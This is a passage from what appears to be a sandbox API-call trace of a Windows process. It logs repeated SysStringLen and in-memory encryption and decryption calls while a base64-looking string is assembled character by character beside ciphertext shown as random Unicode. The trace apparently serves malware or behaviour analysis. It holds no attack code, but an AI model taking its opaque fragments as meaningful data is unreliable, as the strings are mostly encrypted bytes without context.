(param_1="ἷ䆣ƭ靴ﮦ빎⻺䯵") returned 0x8 [0231.102] SysStringLen (param_1="ἷ䆣ƭ靴ﮦ빎⻺䯵") returned 0x8 [0231.102] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0231.102] SysStringLen (param_1="NDZlODRm") returned 0x8 [0231.102] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0231.102] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0231.102] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0231.102] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0231.103] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x10 [0231.103] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0231.103] SysStringLen (param_1="NDZlODRmY뮇펬᠚࣢ᣆ㬞勉") returned 0x10 [0231.103] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0231.103] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈ິ퇒䄣䝰尫붌丒") returned 0x10 [0231.103] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈ິ퇒䄣䝰尫붌丒") returned 0x10 [0231.103] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0231.103] SysStringLen (param_1="NDZlODRmYz펬᠚࣢ᣆ㬞勉") returned 0x10 [0231.103] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0231.103] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뷰鱙켜쐠渂ጙ") returned 0x10 [0231.103] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뷰鱙켜쐠渂ጙ") returned 0x10 [0231.103] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0231.104] SysStringLen (param_1="NDZlODRmYzN᠚࣢ᣆ㬞勉") returned 0x10 [0231.104] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0231.104] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈切淿⳸㷨ⷻ彍굸") returned 0x10 [0231.104] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈切淿⳸㷨ⷻ彍굸") returned 0x10 [0231.104] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0231.104] SysStringLen (param_1="NDZlODRmYzNl࣢ᣆ㬞勉") returned 0x10 [0231.104] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0231.104] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈\⣙ᖳಊ垵ỽ뒡ऺ∭) returned 0x10 [0231.104] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈\⣙ᖳಊ垵ỽ뒡ऺ∭) returned 0x10 [0231.104] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0231.104] SysStringLen (param_1="NDZlODRmYzNlYᣆ㬞勉") returned 0x10 [0231.104] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0231.104] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뜤翜佹诞夋ヵ秭㑲") returned 0x10 [0231.104] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뜤翜佹诞夋ヵ秭㑲") returned 0x10 [0231.104] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0231.105] SysStringLen (param_1="NDZlODRmYzNlYT㬞勉") returned 0x10 [0231.105] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0231.105] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뽮昊\槛ጔᰆ崣⋀) returned 0x10 [0231.105] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뽮昊\槛ጔᰆ崣⋀) returned 0x10 [0231.105] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0231.105] SysStringLen (param_1="NDZlODRmYzNlYTJ勉") returned 0x10 [0231.105] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0231.105] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈콨鄪䴳ꘘ₿㳻섖") returned 0x10 [0231.105] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈콨鄪䴳ꘘ₿㳻섖") returned 0x10 [0231.105] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0231.105] SysStringLen (param_1="NDZlODRmYzNlYTJh") returned 0x10 [0231.105] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0231.105] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0231.106] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0231.106] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0231.106] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x18 [0231.106] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0231.106] SysStringLen (param_1="NDZlODRmYzNlYTJhM虵亅㸱멷嘇ꚺ") returned 0x18 [0231.106] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0231.106] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ʹℭ䠲鵊퇱े") returned 0x18 [0231.106] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ʹℭ䠲鵊퇱े") returned 0x18 [0231.106] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0231.106] SysStringLen (param_1="NDZlODRmYzNlYTJhMD亅㸱멷嘇ꚺ") returned 0x18 [0231.106] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0231.107] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴뮼ᖽꜥॆ칖䝉") returned 0x18 [0231.107] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴뮼ᖽꜥॆ칖䝉") returned 0x18 [0231.107] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0231.107] SysStringLen (param_1="NDZlODRmYzNlYTJhMDF㸱멷嘇ꚺ") returned 0x18 [0231.107] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0231.107] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴퉢麻齟౬缍幠呌") returned 0x18 [0231.107] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴퉢麻齟౬缍幠呌") returned 0x18 [0231.107] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0231.107] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFl멷嘇ꚺ") returned 0x18 [0231.107] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0231.107] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ራ䃳ꂺⱿ쑪") returned 0x18 [0231.107] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ራ䃳ꂺⱿ쑪") returned 0x18 [0231.107] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0231.107] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlM嘇ꚺ") returned 0x18 [0231.107] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0231.108] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴䉌龢ʦ樞䍳ሐṪ") returned 0x18 [0231.108] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴䉌龢ʦ樞䍳ሐṪ") returned 0x18 [0231.108] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0231.108] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTꚺ") returned 0x18 [0231.108] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0231.108] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴⭝\⻚﻾沞쀩饒⋐) returned 0x18 [0231.108] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴⭝\⻚﻾沞쀩饒⋐) returned 0x18 [0231.108] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0231.108] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTU") returned 0x18 [0231.108] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0231.108] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ꗛ⾪蒷᪻릿ู찲鞃") returned 0x18 [0231.108] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ꗛ⾪蒷᪻릿ู찲鞃") returned 0x18 [0231.108] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0231.108] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUw") returned 0x18 [0231.108] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0231.108] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0231.109] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0231.109] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0231.109] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x20 [0231.109] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0231.109] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZㄵ㋛仄杫ℂ︸饉") returned 0x20 [0231.109] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0231.109] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲铩퀩峹闓郮\⋛) returned 0x20 [0231.109] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲铩퀩峹闓郮\⋛) returned 0x20 [0231.109] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0231.109] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZD㋛仄杫ℂ︸饉") returned 0x20 [0231.109] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0231.110] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲ᤓ⭤釋径ẖ") returned 0x20 [0231.110] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲ᤓ⭤釋径ẖ") returned 0x20 [0231.110] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0231.110] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE仄杫ℂ︸饉") returned 0x20 [0231.110] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0231.110] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲俫箙덵ꀓ솑ￛ罺኿") returned 0x20 [0231.110] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲俫箙덵ꀓ솑ￛ罺኿") returned 0x20 [0231.110] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0231.110] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3杫ℂ︸饉") returned 0x20 [0231.110] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0231.110] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲复⿉ﵺ彺㇍㞇㑜岔") returned 0x20 [0231.110] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲复⿉ﵺ彺㇍㞇㑜岔") returned 0x20 [0231.110] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0231.110] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yℂ︸饉") returned 0x20 [0231.110] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0231.111] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲⸸䟷ᖃח⡙\꽉⊏) returned 0x20 [0231.111] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲⸸䟷ᖃח⡙\꽉⊏) returned 0x20 [0231.111] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0231.111] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yz︸饉") returned 0x20 [0231.111] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0231.111] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲樝䎄㋬竵⭕쾫챶") returned 0x20 [0231.111] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲樝䎄㋬竵⭕쾫챶") returned 0x20 [0231.111] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0231.111] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yzd饉") returned 0x20 [0231.111] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0231.111] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲虜偤쎛犜ᔴ") returned 0x20 [0231.111] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲虜偤쎛犜ᔴ") returned 0x20 [0231.111] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0231.111] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yzdi") returned 0x20 [0231.111] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0231.112] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0231.112] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0231.112] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0231.112] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x28 [0231.112] SystemFunction041 (in: Memory=0x5c9a96c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9a96c) returned 0x0 [0231.112] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiM⤷挠ﵝ九갧") returned 0x28 [0231.112] SystemFunction040 (in: Memory=0x5c9a96c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9a96c) returned 0x0 [0231.112] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ♡ஊ픞딱ǭ譑∠) returned 0x28 [0231.112] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ♡ஊ픞딱ǭ譑∠) returned 0x28 [0231.112] SystemFunction041 (in: Memory=0x5c9a96c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9a96c) returned 0x0 [0231.113] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMm⤷挠ﵝ九갧") returned 0x28 [0231.113] SystemFunction040 (in: Memory=0x5c9a96c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9a96c) returned 0x0 [0231.113] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ⩡ඈ鐅䦌㫣噬㯥익∈) returned 0x28 [0231.113] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ⩡ඈ鐅䦌㫣噬㯥익∈) returned 0x28 [0231.113] SystemFunction041 (in: Memory=0x5c9a96c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9a96c) returned 0x0 [0231.113] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQ挠ﵝ九갧") returned 0x28 [0231.113] SystemFunction040 (in: Memory=0x5c9a96c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9a96c) returned 0x0 [0231.113] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖꛆ᪴洎榃䑝衬㟠⋁) returned 0x28 [0231.113] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖꛆ᪴洎榃䑝衬㟠⋁) returned 0x28 [0231.113] SystemFunction041 (in: Memory=0x5c9a96c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9a96c) returned 0x0 [0231.189] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzﵝ九갧") returned 0x28 [0231.189] SystemFunction040 (in: Memory=0x5c9a96c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9a96c) returned 0x0 [0231.189] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ끡Ẉఽ笏ᱚ븓蟳ﯘ∻) returned 0x28 [0231.189] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ끡Ẉఽ笏ᱚ븓蟳ﯘ∻) returned 0x28 [0231.189] SystemFunction041 (in: Memory=0x5c9a96c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9a96c) returned 0x0 [0231.189] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN九갧") returned 0x28 [0231.189] SystemFunction040 (in: Memory=0x5c9a96c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9a96c) returned 0x0 [0231.189] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ艡⸇햃ᔼ饰驌∖) returned 0x28 [0231.189] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ艡⸇햃ᔼ饰驌∖) returned 0x28 [0231.189] SystemFunction041 (in: Memory=0x5c9a96c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9a96c) returned 0x0 [0231.189] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2갧") returned 0x28 [0231.189] SystemFunction040 (in: Memory=0x5c9a96c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9a96c) returned 0x0 [0231.189] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ顡㼙몺䰅▍鄗軑⊨) returned 0x28 [0231.189] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ顡㼙몺䰅▍鄗軑⊨) returned 0x28 [0231.189] SystemFunction041 (in: Memory=0x5c9a96c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9a96c) returned 0x0 [0231.190] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2J갧") returned 0x28 [0231.190] SystemFunction040 (in: Memory=0x5c9a96c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9a96c) returned 0x0 [0231.190] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ띡랡ꚠ馋酅汪∘) returned 0x28 [0231.190] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ띡랡ꚠ馋酅汪∘) returned 0x28 [0231.190] SystemFunction041 (in: Memory=0x5c9a96c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9a96c) returned 0x0 [0231.190] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2Jh") returned 0x28 [0231.190] SystemFunction040 (in: Memory=0x5c9a96c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9a96c) returned 0x0 [0231.190] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0231.190] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0231.190] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0231.191] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x30 [0231.191] SystemFunction041 (in: Memory=0x5c92bcc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92bcc) returned 0x0 [0231.191] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN셳㻶벗颯軠삳") returned 0x30 [0231.191] SystemFunction040 (in: Memory=0x5c92bcc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92bcc) returned 0x0 [0231.191] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製昍仼먻표䥥芁鼶≙) returned 0x30 [0231.191] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製昍仼먻표䥥芁鼶≙) returned 0x30 [0231.191] SystemFunction041 (in: Memory=0x5c92bcc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92bcc) returned 0x0 [0231.191] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2㻶벗颯軠삳") returned 0x30 [0231.191] SystemFunction040 (in: Memory=0x5c92bcc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92bcc) returned 0x0 [0231.191] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製儍\䥒쿲\쫛⊠) returned 0x30 [0231.191] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製儍\䥒쿲\쫛⊠) returned 0x30 [0231.192] SystemFunction041 (in: Memory=0x5c92bcc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92bcc) returned 0x0 [0231.193] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q㻶벗颯軠삳") returned 0x30 [0231.193] SystemFunction040 (in: Memory=0x5c92bcc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92bcc) returned 0x0 [0231.193] SysStringLen 